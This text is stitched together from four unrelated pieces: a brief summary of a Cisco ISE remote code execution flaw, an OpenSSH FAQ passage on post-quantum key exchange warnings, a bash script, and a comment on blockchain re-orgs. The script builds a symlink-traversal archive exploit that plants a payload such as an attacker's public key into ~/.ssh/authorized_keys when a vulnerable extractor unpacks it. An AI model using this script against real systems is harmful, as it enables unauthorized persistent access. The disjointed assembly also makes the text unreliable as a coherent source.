Cisco ISE and Cisco ISE-PIC contain a remote code execution caused by insufficient validation of user-supplied input in a specific API, letting unauthenticated remote attackers execute arbitrary code as root, exploit requires crafted API request.

I received a warning from ssh that directed me to this page. What should I do?
As mentioned above, OpenSSH 10.1 started warning users when connections use cryptography that is not safe against quantum computers. If you received such a warning, it means that the server you connected to did not offer one of the two post-quantum key agreement algorithms that are being standardised for the SSH protocol: mlkem768x25519-sha256 and sntrup761x25519-sha512

The ideal solution is to update the server to use an SSH implementation that supports at least one of these. OpenSSH versions 9.0 and greater support sntrup761x25519-sha512 and versions 9.9 and greater support mlkem768x25519-sha256. If your server is already running one of these versions, then check whether the KexAlgorithms option has disabled their use.

If you are unable to update the server and/or you prefer to accept the risk of continuing to use quantum-unsafe cryptography then the warning may be silenced via the WarnWeakCrypto option in ssh_config(5). We recommend doing this selectively, for example:
Match host unsafe.example.com
WarnWeakCrypto no

#!/bin/bash
if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
    echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
    exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"

A 6 re-org does not mean a '51% attack' was successful. In that case, we'd see unbounded-depth re-orgs/no blocks mined by any other mining pool (assuming the adversary censors other mining pools, as this one does).

It does mean an adversary with a high amount of hash got "lucky" (or maybe they are just too rich?)
